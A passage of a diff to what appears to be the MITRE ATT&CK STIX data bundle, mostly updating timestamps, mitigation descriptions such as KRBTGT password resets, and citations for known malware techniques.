"created": "2020-02-19T20:36:33.597Z" }, { @@ -168890,7 +170503,7 @@ } ], "type": "relationship", - "modified": "2020-05-29T15:17:30.753Z", + "modified": "2021-04-22T20:20:14.983Z", "created": "2020-02-19T20:36:33.642Z" }, { @@ -169068,7 +170681,7 @@ } ], "type": "relationship", - "modified": "2020-09-16T15:56:03.344Z", + "modified": "2021-03-29T16:11:13.024Z", "created": "2020-02-20T15:31:43.899Z" }, { @@ -169089,7 +170702,7 @@ } ], "type": "relationship", - "modified": "2020-09-16T15:56:03.361Z", + "modified": "2021-03-29T16:11:13.045Z", "created": "2020-02-20T15:31:43.907Z" }, { @@ -169123,7 +170736,7 @@ } ], "type": "relationship", - "modified": "2020-03-29T02:01:10.988Z", + "modified": "2021-03-29T16:08:52.366Z", "created": "2020-02-20T15:35:00.337Z" }, { @@ -169144,7 +170757,7 @@ } ], "type": "relationship", - "modified": "2020-03-29T02:01:10.986Z", + "modified": "2021-03-29T16:08:52.371Z", "created": "2020-02-20T15:35:00.356Z" }, { @@ -169178,7 +170791,7 @@ ], "description": "Leverage services provided by Content Delivery Networks (CDN) or providers specializing in DoS mitigations to filter traffic upstream from services.(Citation: CERT-EU DDoS March 2017) Filter boundary traffic by blocking source addresses sourcing the attack, blocking ports that are being targeted, or blocking protocols being used for transport.", "type": "relationship", - "modified": "2020-03-29T02:07:27.643Z", + "modified": "2021-03-29T16:09:41.889Z", "created": "2020-02-20T15:37:27.381Z" }, { @@ -169191,7 +170804,7 @@ "relationship_type": "mitigates", "id": "relationship--d2b60ff3-0204-4bf5-9beb-f4e2d395fcfe", "type": "relationship", - "modified": "2020-03-29T02:07:27.645Z", + "modified": "2021-03-29T16:09:41.915Z", "created": "2020-02-20T15:37:27.387Z" }, { @@ -169218,7 +170831,7 @@ "description": "Set account lockout policies after a certain number of failed login attempts to prevent passwords from being guessed. Too strict a policy may create a denial of service condition and render environments un-usable, with all accounts used in the brute force being locked-out.", "id": "relationship--8f2d973c-aa06-42a1-9490-1e799c0a5ee2", "type": "relationship", - "modified": "2020-09-16T15:41:46.709Z", + "modified": "2021-04-06T12:31:36.540Z", "created": "2020-02-20T16:58:50.657Z" }, { @@ -169232,7 +170845,7 @@ "description": "Use multi-factor authentication. Where possible, also enable multi-factor authentication on externally facing services.", "id": "relationship--7fad18cd-28b4-47b4-8b38-f8beaf1120ad", "type": "relationship", - "modified": "2020-09-16T15:41:46.722Z", + "modified": "2021-04-06T12:31:36.550Z", "created": "2020-02-20T16:58:50.670Z" }, { @@ -169253,7 +170866,7 @@ } ], "type": "relationship", - "modified": "2020-09-16T15:41:46.720Z", + "modified": "2021-04-06T12:31:36.557Z", "created": "2020-02-20T16:58:50.680Z" }, { @@ -169302,7 +170915,7 @@ "description": "Set account lockout policies after a certain number of failed login attempts to prevent passwords from being guessed. Too strict a policy may create a denial of service condition and render environments un-usable, with all accounts used in the brute force being locked-out.", "id": "relationship--cff34686-cbdf-4e0b-8108-c2deaf8855a7", "type": "relationship", - "modified": "2020-09-16T15:43:11.688Z", + "modified": "2021-04-06T12:32:47.804Z", "created": "2020-02-20T17:21:04.878Z" }, { @@ -169316,7 +170929,7 @@ "description": "Use multi-factor authentication. Where possible, also enable multi-factor authentication on externally facing services.", "id": "relationship--64201f56-d678-4ed2-b759-c78bf9e4d82a", "type": "relationship", - "modified": "2020-09-16T15:43:11.713Z", + "modified": "2021-04-06T12:32:47.837Z", "created": "2020-02-20T17:21:04.881Z" }, { @@ -169337,7 +170950,7 @@ } ], "type": "relationship", - "modified": "2020-09-16T15:43:11.721Z", + "modified": "2021-04-06T12:32:47.843Z", "created": "2020-02-20T17:21:04.895Z" }, { @@ -169351,7 +170964,7 @@ "description": "Set account lockout policies after a certain number of failed login attempts to prevent passwords from being guessed. Too strict a policy may create a denial of service condition and render environments un-usable, with all accounts used in the brute force being locked-out.", "id": "relationship--4b7e0525-1ba7-4d55-89d1-07fc94193065", "type": "relationship", - "modified": "2020-09-16T15:38:40.890Z", + "modified": "2021-04-06T12:31:06.859Z", "created": "2020-02-20T17:27:40.285Z" }, { @@ -169365,7 +170978,7 @@ "description": "Use multi-factor authentication. Where possible, also enable multi-factor authentication on externally facing services.", "id": "relationship--ce2f8c4d-43f0-459e-a579-1faf28e4bca6", "type": "relationship", - "modified": "2020-09-16T15:38:40.900Z", + "modified": "2021-04-06T12:31:06.875Z", "created": "2020-02-20T17:27:40.299Z" }, { @@ -169386,7 +170999,7 @@ } ], "type": "relationship", - "modified": "2020-09-16T15:38:40.915Z", + "modified": "2021-04-06T12:31:06.885Z", "created": "2020-02-20T17:27:40.301Z" }, { @@ -169954,7 +171567,7 @@ "description": "Limit credential overlap across accounts and systems by training users and administrators not to use the same password for multiple accounts.", "id": "relationship--85b3d881-a9d2-45ff-a980-95d0bd9a3dd1", "type": "relationship", - "modified": "2020-03-24T20:39:40.107Z", + "modified": "2020-12-14T23:08:03.015Z", "created": "2020-02-21T17:31:33.863Z" }, { @@ -169968,7 +171581,7 @@ "description": "Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled, as this is often equivalent to having a local administrator account with the same password on all systems. Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers.", "id": "relationship--5e3f6da4-a327-4c42-8a12-bc5840336430", "type": "relationship", - "modified": "2020-03-24T20:39:40.131Z", + "modified": "2020-12-14T23:08:03.075Z", "created": "2020-02-21T17:31:33.866Z" }, { @@ -169982,7 +171595,7 @@ "description": "Ensure that local administrator accounts have complex, unique passwords across all systems on the network.", "id": "relationship--4775487a-b632-43f9-8372-83219e2aa98c", "type": "relationship", - "modified": "2020-03-24T20:39:40.132Z", + "modified": "2020-12-14T23:08:03.113Z", "created": "2020-02-21T17:31:33.867Z" }, { @@ -170003,7 +171616,7 @@ } ], "type": "relationship", - "modified": "2020-03-24T20:39:40.129Z", + "modified": "2020-12-14T23:08:03.115Z", "created": "2020-02-21T17:31:33.869Z" }, { @@ -170073,7 +171686,7 @@ "description": "Ensure proper user permissions are in place to prevent adversaries from disabling or interfering with security services.", "id": "relationship--dddb38c9-408c-44da-9e51-3f7cd159c43d", "type": "relationship", - "modified": "2020-03-29T21:52:43.316Z", + "modified": "2021-04-19T13:41:17.880Z", "created": "2020-02-21T20:32:21.104Z" }, { @@ -170087,7 +171700,7 @@ "description": "Ensure proper process and file permissions are in place to prevent adversaries from disabling or interfering with security services.", "id": "relationship--f36141b8-5dd8-462d-bfc3-b43e179e955c", "type": "relationship", - "modified": "2020-03-29T21:52:43.319Z", + "modified": "2021-04-19T13:41:17.884Z", "created": "2020-02-21T20:32:21.106Z" }, { @@ -170520,7 +172133,7 @@ "description": "Some endpoint security solutions can be configured to block some types of process injection based on common sequences of behavior that occur during the injection process. ", "id": "relationship--505e8568-1870-4aca-81ff-7c222eb4db37", "type": "relationship", - "modified": "2020-06-20T22:27:21.422Z", + "modified": "2021-02-09T15:43:49.043Z", "created": "2020-02-21T22:25:12.496Z" }, { @@ -170873,10 +172486,17 @@ "source_ref": "course-of-action--e3388c78-2a8d-47c2-8422-c1398b324462", "target_ref": "attack-pattern--768dce68-8d0d-477a-b01d-0eea98b963a1", "relationship_type": "mitigates", - "description": "For containing the impact of a previously generated golden ticket, reset the built-in KRBTGT account password twice, which will invalidate any existing golden tickets that have been created with the KRBTGT hash and other Kerberos tickets derived from it.", + "description": "For containing the impact of a previously generated golden ticket, reset the built-in KRBTGT account password twice, which will invalidate any existing golden tickets that have been created with the KRBTGT hash and other Kerberos tickets derived from it. For each domain, change the KRBTGT account password once, force replication, and then change the password a second time. Consider rotating the KRBTGT account password every 180 days.(Citation: STIG krbtgt reset)", "id": "relationship--f6d6f916-ca2a-4c25-841f-02d71b31308c", + "external_references": [ + { + "source_name": "STIG krbtgt reset", + "url": "https://www.stigviewer.com/stig/windows_server_2016/2019-12-12/finding/V-91779", + "description": "UCF. (n.d.). The password for the krbtgt account on a domain must be reset at least every 180 days. Retrieved November 5, 2020." + } + ], "type": "relationship", - "modified": "2020-03-31T12:59:11.083Z", + "modified": "2020-11-05T16:16:33.496Z", "created": "2020-02-27T17:55:27.440Z" }, { @@ -170890,7 +172510,7 @@ "description": "Limit domain admin account permissions to domain controllers and limited servers. Delegate other admin functions to separate accounts.", "id": "relationship--a6e6f751-5c93-4a31-afdc-78513aaea15a", "type": "relationship", - "modified": "2020-03-31T12:59:11.086Z", + "modified": "2020-11-05T16:07:03.955Z", "created": "2020-02-27T17:55:27.467Z" }, { @@ -171037,7 +172657,7 @@ } ], "type": "relationship", - "modified": "2020-09-16T19:37:55.294Z", + "modified": "2020-11-05T16:05:47.164Z", "created": "2020-02-28T15:22:27.314Z" }, { @@ -171058,7 +172678,7 @@ } ], "type": "relationship", - "modified": "2020-09-16T19:37:55.310Z", + "modified": "2020-11-05T16:05:47.201Z", "created": "2020-02-28T15:22:27.331Z" }, { @@ -171079,7 +172699,7 @@ } ], "type": "relationship", - "modified": "2020-09-16T19:37:55.325Z", + "modified": "2020-11-05T16:05:47.230Z", "created": "2020-02-28T15:22:27.335Z" }, { @@ -171090,10 +172710,17 @@ "source_ref": "course-of-action--e3388c78-2a8d-47c2-8422-c1398b324462", "target_ref": "attack-pattern--3fc01293-ef5e-41c6-86ce-61f10706b64a", "relationship_type": "mitigates", - "description": "For containing the impact of a previously generated golden ticket, reset the built-in KRBTGT account password twice, which will invalidate any existing golden tickets that have been created with the KRBTGT hash and other Kerberos tickets derived from it.", + "description": "For containing the impact of a previously generated golden ticket, reset the built-in KRBTGT account password twice, which will invalidate any existing golden tickets that have been created with the KRBTGT hash and other Kerberos tickets derived from it. For each domain, change the KRBTGT account password once, force replication, and then change the password a second time. Consider rotating the KRBTGT account password every 180 days.(Citation: STIG krbtgt reset)", "id": "relationship--037b851b-7ced-4322-a57a-9f744f9a1e76", + "external_references": [ + { + "source_name": "STIG krbtgt reset", + "url": "https://www.stigviewer.com/stig/windows_server_2016/2019-12-12/finding/V-91779", + "description": "UCF. (n.d.). The password for the krbtgt account on a domain must be reset at least every 180 days. Retrieved November 5, 2020." + } + ], "type": "relationship", - "modified": "2020-09-16T19:37:55.335Z", + "modified": "2020-11-05T16:16:33.539Z", "created": "2020-02-28T15:22:27.336Z" }, { @@ -171107,7 +172734,7 @@ "description": "Ensure least privilege principles are applied to important information resources to reduce exposure to data manipulation risk.", "id": "relationship--cafefef9-bf75-48e2-91e4-716988309f52", "type": "relationship", - "modified": "2020-03-28T23:16:20.318Z", + "modified": "2021-04-24T14:04:16.543Z", "created": "2020-03-02T14:19:22.905Z" }, { @@ -171128,7 +172755,7 @@ } ], "type": "relationship", - "modified": "2020-03-28T23:16:20.320Z", + "modified": "2021-04-24T14:04:16.548Z", "created": "2020-03-02T14:19:22.918Z" }, { @@ -171142,7 +172769,7 @@ "description": "Identify critical business and system processes that may be targeted by adversaries and work to isolate and secure those systems against unauthorized access and tampering.", "id": "relationship--b7330e62-2388-44e7-ab1c-5cac3df16d27", "type": "relationship", - "modified": "2020-03-28T23:16:20.345Z", + "modified": "2021-04-24T14:04:16.566Z", "created": "2020-03-02T14:19:22.938Z" }, { @@ -171156,7 +172783,7 @@ "description": "Consider encrypting important information to reduce an adversary\u2019s ability to perform tailored data modifications.", "id": "relationship--51244880-c155-4dba-844a-2021304c8954", "type": "relationship", - "modified": "2020-03-28T23:16:20.344Z", + "modified": "2021-04-24T14:04:16.595Z", "created": "2020-03-02T14:19:22.942Z" }, { @@ -171339,7 +172966,7 @@ "description": "Anti-virus can automatically quarantine suspicious files.", "id": "relationship--ed821f5e-9527-4fbb-ae76-37a79592dfb6", "type": "relationship", - "modified": "2020-10-18T01:49:59.560Z", + "modified": "2021-04-01T16:19:55.492Z", "created": "2020-03-02T18:49:28.109Z" }, { @@ -171353,7 +172980,7 @@ "description": "Network intrusion prevention systems and systems designed to scan and remove malicious email attachments or links can be used to block activity.", "id": "relationship--76588f90-79b8-4a61-ae07-3321393e5707", "type": "relationship", - "modified": "2020-10-18T01:49:59.617Z", + "modified": "2021-04-01T16:19:55.532Z", "created": "2020-03-02T18:49:28.111Z" }, { @@ -171367,7 +172994,7 @@ "description": "Determine if certain websites or attachment types (ex: .scr, .exe, .pif, .cpl, etc.) that can be used for phishing are necessary for business operations and consider blocking access if activity cannot be monitored well or if it poses a significant risk.", "id": "relationship--a205b0ce-df00-40ae-b626-7dc3e8146d45", "type": "relationship", - "modified": "2020-10-18T01:49:59.660Z", + "modified": "2021-04-01T16:19:55.540Z", "created": "2020-03-02T18:49:28.119Z" }, { @@ -171381,7 +173008,7 @@ "description": "Users can be trained to identify social engineering techniques and phishing emails.", "id": "relationship--ee935350-f68f-4bd7-bfca-878ae48a2b97", "type": "relationship", - "modified": "2020-10-18T01:49:59.716Z", + "modified": "2021-04-01T16:19:55.535Z", "created": "2020-03-02T18:49:28.130Z" }, { @@ -171395,7 +173022,7 @@ "description": "Users can be trained to identify social engineering techniques and spearphishing emails.", "id": "relationship--bfa95fdc-6f4f-48a9-a155-189c81dc9ebd", "type": "relationship", - "modified": "2020-10-18T01:52:25.459Z", + "modified": "2021-04-01T16:21:17.814Z", "created": "2020-03-02T19:05:18.242Z" }, { @@ -171409,7 +173036,7 @@ "description": "Block unknown or unused attachments by default that should not be transmitted over email as a best practice to prevent some vectors, such as .scr, .exe, .pif, .cpl, etc. Some email scanning devices can open and analyze compressed and encrypted formats, such as zip and rar that may be used to conceal malicious attachments.", "id": "relationship--f2f68eb7-4110-4750-9d1c-58774036672b", "type": "relationship", - "modified": "2020-10-18T01:52:25.480Z", + "modified": "2021-04-01T16:21:17.861Z", "created": "2020-03-02T19:05:18.264Z" }, { @@ -171423,7 +173050,7 @@ "description": "Anti-virus can also automatically quarantine suspicious files.", "id": "relationship--26d24472-ae04-46e7-9166-5d8a8f6f16f7", "type": "relationship", - "modified": "2020-10-18T01:52:25.491Z", + "modified": "2021-04-01T16:21:17.841Z", "created": "2020-03-02T19:05:18.267Z" }, { @@ -171437,7 +173064,7 @@ "description": "Network intrusion prevention systems and systems designed to scan and remove malicious email attachments can be used to block activity.", "id": "relationship--7a75d200-29f5-4f8a-b052-bcbe4e5ca236", "type": "relationship", - "modified": "2020-10-18T01:52:25.511Z", + "modified": "2021-04-01T16:21:17.859Z", "created": "2020-03-02T19:05:18.271Z" }, { @@ -171490,7 +173117,7 @@ "description": "Users can be trained to identify social engineering techniques and spearphishing emails with malicious links.", "id": "relationship--d4f9d2ab-70d0-4aaf-9c7f-d94fc0818ecb", "type": "relationship", - "modified": "2020-10-18T01:53:40.032Z", + "modified": "2021-04-14T14:38:43.045Z", "created": "2020-03-02T19:18:20.208Z" }, { @@ -171504,7 +173131,7 @@ "description": "Determine if certain websites that can be used for spearphishing are necessary for business operations and consider blocking access if activity cannot be monitored well or if it poses a significant risk.", "id": "relationship--239092bc-09e4-4c16-9d83-071929c9e4a4", "type": "relationship", - "modified": "2020-10-18T01:53:40.068Z", + "modified": "2021-04-14T14:38:43.047Z", "created": "2020-03-02T19:18:20.216Z" }, { @@ -171632,7 +173259,7 @@ } ], "type": "relationship", - "modified": "2020-09-16T15:57:12.587Z", + "modified": "2021-03-29T16:11:57.017Z", "created": "2020-03-02T20:36:52.656Z" }, { @@ -171653,7 +173280,7 @@ } ], "type": "relationship", - "modified": "2020-09-16T15:58:18.700Z", + "modified": "2021-03-29T16:13:53.943Z", "created": "2020-03-02T21:04:24.530Z" }, { @@ -172240,7 +173867,7 @@ "description": "Use application control where appropriate.", "id": "relationship--aa103bc8-1753-4b41-bf5c-a9dc0b9a2986", "type": "relationship", - "modified": "2020-06-20T20:11:42.865Z", + "modified": "2021-04-14T15:36:02.308Z", "created": "2020-03-09T14:12:31.537Z" }, { @@ -173032,16 +174659,16 @@ "target_ref": "attack-pattern--86a96bf6-cf8b-411c-aaeb-8959944d64f7", "external_references": [ { - "source_name": "Github PowerShell Empire", + "url": "https://github.com/EmpireProject/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", - "url": "https://github.com/PowerShellEmpire/Empire" + "source_name": "Github PowerShell Empire" } ], "description": "[Empire](https://attack.mitre.org/software/S0363) can use GitHub for data exfiltration.(Citation: Github PowerShell Empire)", "relationship_type": "uses", "id": "relationship--74779612-4c9b-4b23-8138-763f84362f8f", "type": "relationship", - "modified": "2020-03-11T17:30:31.996Z", + "modified": "2021-04-09T14:47:00.148Z", "created": "2020-03-11T17:30:31.996Z" }, { @@ -173308,16 +174935,21 @@ "target_ref": "attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584", "external_references": [ { - "source_name": "TrendMicro MacOS April 2018", + "description": "Horejsi, J. (2018, April 04). New MacOS Backdoor Linked to OceanLotus Found. Retrieved November 13, 2018.", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-backdoor-linked-to-oceanlotus-found/", - "description": "Horejsi, J. (2018, April 04). New MacOS Backdoor Linked to OceanLotus Found. Retrieved November 13, 2018." + "source_name": "TrendMicro MacOS April 2018" + }, + { + "source_name": "Trend Micro MacOS Backdoor November 2020", + "url": "https://www.trendmicro.com/en_us/research/20/k/new-macos-backdoor-connected-to-oceanlotus-surfaces.html", + "description": "Magisa, L. (2020, November 27). New MacOS Backdoor Connected to OceanLotus Surfaces. Retrieved December 2, 2020." } ], - "description": "[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) can create a persistence file in the folder /Library/LaunchAgents.(Citation: TrendMicro MacOS April 2018)", + "description": "[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) can create a persistence file in the folder /Library/LaunchAgents.(Citation: TrendMicro MacOS April 2018)(Citation: Trend Micro MacOS Backdoor November 2020)", "relationship_type": "uses", "id": "relationship--5a872d22-22e6-49b1-8ddd-7efc6c403ad6", "type": "relationship", - "modified": "2020-03-12T19:09:57.866Z", + "modified": "2020-12-02T14:30:55.893Z", "created": "2020-03-12T19:09:57.866Z" }, { @@ -173395,13 +175027,18 @@ "source_name": "ESET TeleBots Oct 2018", "url": "https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/", "description": "Cherepanov, A., Lipovsky, R. (2018, October 11). New TeleBots backdoor: First evidence linking Industroyer to NotPetya. Retrieved November 27, 2018." + }, + { + "source_name": "ANSSI Sandworm January 2021", + "url": "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf", + "description": "ANSSI. (2021, January 27). SANDWORM INTRUSION SET CAMPAIGN TARGETING CENTREON SYSTEMS. Retrieved March 30, 2021." } ], - "description": "[Exaramel for Linux](https://attack.mitre.org/software/S0401) has a hardcoded location under systemd that it uses to achieve persistence if it is running as root.(Citation: ESET TeleBots Oct 2018)", + "description": "[Exaramel for Linux](https://attack.mitre.org/software/S0401) has a hardcoded location under systemd that it uses to achieve persistence if it is running as root.(Citation: ESET TeleBots Oct 2018)(Citation: ANSSI Sandworm January 2021)", "relationship_type": "uses", "id": "relationship--9a24e972-81d5-4cfc-81ed-3e7752e3b463", "type": "relationship", - "modified": "2020-03-12T19:17:03.461Z", + "modified": "2021-03-31T15:55:36.307Z", "created": "2020-03-12T19:17:03.461Z" }, { @@ -173917,7 +175554,7 @@ ], "description": "Disallow loading of remote DLLs. This is included by default in Windows Server 2012+ and is available by patch for XP+ and Server 2003+.\n\nEnable Safe DLL Search Mode to force search for system DLLs in directories with greater restrictions (e.g. %SYSTEMROOT%)to be used before local directory DLLs (e.g. a user's home directory)\n\nThe Safe DLL Search Mode can be enabled via Group Policy at Computer Configuration > [Policies] > Administrative Templates > MSS (Legacy): MSS: (SafeDllSearchMode) Enable Safe DLL search mode. The associated Windows Registry key for this is located at HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\SafeDLLSearchMode(Citation: Microsoft More information about DLL)(Citation: Microsoft Dynamic Link Library Search Order)", "type": "relationship", - "modified": "2020-03-26T16:13:59.059Z", + "modified": "2021-04-26T18:37:04.132Z", "created": "2020-03-13T18:11:08.483Z" }, { @@ -173931,7 +175568,7 @@ "id": "relationship--22ce2c93-ecd6-4627-b3f0-6f7476754c79", "description": "Adversaries may use new DLLs to execute this technique. Identify and block potentially malicious software executed through search order hijacking by using application control solutions capable of blocking DLLs loaded by legitimate software.", "type": "relationship", - "modified": "2020-06-20T20:11:42.891Z", + "modified": "2021-04-26T18:37:04.089Z", "created": "2020-03-13T18:11:08.487Z" }, { @@ -173948,11 +175585,16 @@ "url": "https://github.com/mattifestation/PowerSploit", "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.", "source_name": "Powersploit" + }, + { + "source_name": "Microsoft Sxstrace", + "url": "https://docs.microsoft.com/windows-server/administration/windows-commands/sxstrace", + "description": "Gerend, J. et al.. (2017, October 16). sxstrace. Retrieved April 26, 2021." } ], - "description": "Use auditing tools capable of detecting DLL search order hijacking opportunities on systems within an enterprise and correct them. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for DLL hijacking weaknesses.(Citation: Powersploit)", + "description": "Use auditing tools capable of detecting DLL search order hijacking opportunities on systems within an enterprise and correct them. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for DLL hijacking weaknesses.(Citation: Powersploit)\n\nUse the program sxstrace.exe that is included with Windows along with manual inspection to check manifest files for side-by-side problems in software.(Citation: Microsoft Sxstrace)", "type": "relationship", - "modified": "2020-03-26T16:13:59.088Z", + "modified": "2021-04-26T18:37:04.216Z", "created": "2020-03-13T18:11:08.510Z" }, { @@ -173979,37 +175621,9 @@ "id": "relationship--1c47aa23-d267-49f3-9faf-c45b6de0ad6e", "description": "Update software regularly to include patches that fix DLL side-loading vulnerabilities.", "type": "relationship", - "modified": "2020-10-17T15:15:28.002Z", + "modified": "2021-04-26T18:31:35.168Z", "created": "2020-03-13T19:41:37.989Z" }, - { - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", - "target_ref": "attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", - "relationship_type": "mitigates", - "id": "relationship--0eacc0c1-d7f7-42f6-b8c6-288f0b2f605e", - "description": "Install software in write-protected locations.", - "type": "relationship", - "modified": "2020-10-17T15:15:28.019Z", - "created": "2020-03-13T19:41:38.007Z" - }, - { - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", - "target_ref": "attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", - "relationship_type": "mitigates", - "id": "relationship--4bcf6ed0-7650-4433-8293-19377bc60e24", - "description": "Use the program sxstrace.exe that is included with Windows along with manual inspection to check manifest files for side-loading vulnerabilities in software.", - "type": "relationship", - "modified": "2020-10-17T15:15:28.074Z", - "created": "2020-03-13T19:41:38.009Z" - }, { "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "object_marking_refs": [ @@ -174041,7 +175655,7 @@ } ], "type": "relationship", - "modified": "2020-03-20T19:39:59.637Z", + "modified": "2021-04-13T21:39:08.794Z", "created": "2020-03-13T19:51:59.062Z" }, { @@ -174170,7 +175784,7 @@ "description": "Ensure that local administrator accounts have complex, unique passwords across all systems on the network.", "id": "relationship--7d770dbe-1baa-4411-bd37-b703c6f86585", "type": "relationship", - "modified": "2020-03-23T21:48:41.155Z", + "modified": "2021-04-05T12:51:00.775Z", "created": "2020-03-13T20:26:46.774Z" }, { @@ -174201,7 +175815,7 @@ } ], "type": "relationship", - "modified": "2020-03-23T21:48:41.174Z", + "modified": "2021-04-05T12:51:00.780Z", "created": "2020-03-13T20:26:46.786Z" }, { @@ -174296,7 +175910,7 @@ } ], "type": "relationship", - "modified": "2020-10-19T16:01:22.244Z", + "modified": "2021-03-16T12:45:15.551Z", "created": "2020-03-13T20:36:57.496Z" }, { @@ -174322,7 +175936,7 @@ } ], "type": "relationship", - "modified": "2020-10-19T16:01:22.263Z", + "modified": "2021-03-16T12:45:15.549Z", "created": "2020-03-13T20:36:57.502Z" }, { @@ -174350,13 +175964,13 @@ "id": "relationship--884964fd-ae2b-4a3f-a023-98e79b967943", "external_references": [ { - "source_name": "US-CERT Alert TA13-175A Risks of Default Passwords on the Internet", + "description": "US-CERT. (n.d.). Risks of Default Passwords on the Internet. Retrieved April 12, 2019.", "url": "https://www.us-cert.gov/ncas/alerts/TA13-175A", - "description": "undefined. (n.d.). Risks of Default Passwords on the Internet. Retrieved April 12, 2019." + "source_name": "US-CERT Alert TA13-175A Risks of Default Passwords on the Internet" } ], "type": "relationship", - "modified": "2020-09-16T19:41:43.623Z", + "modified": "2021-04-05T20:14:26.987Z", "created": "2020-03-13T20:44:06.873Z" }, { @@ -175306,7 +176920,7 @@ } ], "type": "relationship", - "modified": "2020-10-21T02:35:44.372Z", + "modified": "2021-04-26T20:08:32.001Z", "created": "2020-03-16T14:49:02.682Z" }, { @@ -175337,7 +176951,7 @@ } ], "type": "relationship", - "modified": "2020-10-21T02:35:44.393Z", + "modified": "2021-04-26T20:08:32.093Z", "created": "2020-03-16T14:49:02.706Z" }, { @@ -175351,7 +176965,7 @@ "description": "Integrating multi-factor authentication (MFA) as part of organizational policy can greatly reduce the risk of an adversary gaining control of valid credentials that may be used for additional tactics such as initial access, lateral movement, and collecting information. MFA can also be used to restrict access to cloud resources and APIs. ", "id": "relationship--2686dfb7-60ab-424c-add2-2f164a98cfa4", "type": "relationship", - "modified": "2020-10-21T02:35:44.420Z", + "modified": "2021-04-26T20:08:32.175Z", "created": "2020-03-16T14:49:02.709Z" }, { @@ -175365,7 +176979,7 @@ "description": "Ensure only valid password filters are registered. Filter DLLs must be present in Windows installation directory (C:\\Windows\\System32\\ by default) of a domain controller and/or local computer with a corresponding entry in HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Notification Packages. ", "id": "relationship--fc8ef14d-1a07-4f96-85c3-b62ba6bcffc1", "type": "relationship", - "modified": "2020-10-21T02:35:44.439Z", + "modified": "2021-04-26T20:08:32.558Z", "created": "2020-03-16T14:49:02.714Z" }, { @@ -175379,7 +176993,7 @@ "description": "Integrating multi-factor authentication (MFA) as part of organizational policy can greatly reduce the risk of an adversary gaining control of valid credentials that may be used for additional tactics such as initial access, lateral movement, and collecting information. MFA can also be used to restrict access to cloud resources and APIs. ", "id": "relationship--acd4512e-3ef7-4c33-9fc1-c3829efebe60", "type": "relationship", - "modified": "2020-08-26T14:16:48.292Z", + "modified": "2021-04-20T20:10:26.699Z", "created": "2020-03-16T14:56:19.332Z" }, { @@ -175410,7 +177024,7 @@ } ], "type": "relationship", - "modified": "2020-08-26T14:16:48.311Z", + "modified": "2021-04-20T20:10:26.732Z", "created": "2020-03-16T14:56:19.347Z" }, { @@ -175431,7 +177045,7 @@ } ], "type": "relationship", - "modified": "2020-08-26T14:16:48.337Z", + "modified": "2021-04-20T20:10:26.714Z", "created": "2020-03-16T14:56:19.362Z" }, { @@ -175445,7 +177059,7 @@ "description": "Ensure only valid password filters are registered. Filter DLLs must be present in Windows installation directory (C:\\Windows\\System32\\ by default) of a domain controller and/or local computer with a corresponding entry in HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Notification Packages.", "id": "relationship--9d439426-989c-4407-bbef-ac6af47896cc", "type": "relationship", - "modified": "2020-03-25T20:59:05.330Z", + "modified": "2021-04-20T20:11:55.220Z", "created": "2020-03-16T15:12:49.247Z" }, { @@ -175481,13 +177095,18 @@ "source_name": "ESET Ebury Feb 2014", "url": "https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/", "description": "M.L\u00e9veill\u00e9, M.. (2014, February 21). An In-depth Analysis of Linux/Ebury. Retrieved April 19, 2019." + }, + { + "source_name": "ESET Ebury Oct 2017", + "url": "https://www.welivesecurity.com/2017/10/30/windigo-ebury-update-2/", + "description": "Vachon, F. (2017, October 30). Windigo Still not Windigone: An Ebury Update . Retrieved February 10, 2021." } ], - "description": "[Ebury](https://attack.mitre.org/software/S0377) has used a DGA to generate a domain name for C2.(Citation: ESET Ebury Feb 2014)", + "description": "[Ebury](https://attack.mitre.org/software/S0377) has used a DGA to generate a domain name for C2.(Citation: ESET Ebury Feb 2014)(Citation: ESET Ebury Oct 2017)", "relationship_type": "uses", "id": "relationship--fc0433bf-560f-4b5f-879c-f87581d7f504", "type": "relationship", - "modified": "2020-03-16T15:17:43.158Z", + "modified": "2021-02-10T18:41:29.384Z", "created": "2020-03-16T15:17:43.158Z" }, { @@ -175501,7 +177120,7 @@ "id": "relationship--36f7b849-03af-4567-be71-2e1eb1520b2a", "description": "Set directory access controls to prevent file writes to the search paths for applications, both in the folders where applications are run from and the standard dylib folders.", "type": "relationship", - "modified": "2020-09-16T16:48:09.599Z", + "modified": "2021-04-02T13:42:01.654Z", "created": "2020-03-16T15:23:31.062Z" }, { @@ -175609,7 +177228,7 @@ "description": "SSL/TLS inspection can be used to see the contents of encrypted sessions to look for network-based indicators of malware communication protocols.", "id": "relationship--bfb8c372-82f0-4bdb-8083-5fae8b8ef185", "type": "relationship", - "modified": "2020-03-30T00:37:16.770Z", + "modified": "2021-04-20T19:27:46.616Z", "created": "2020-03-16T15:48:34.184Z" }, { @@ -175623,7 +177242,7 @@ "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level.", "id": 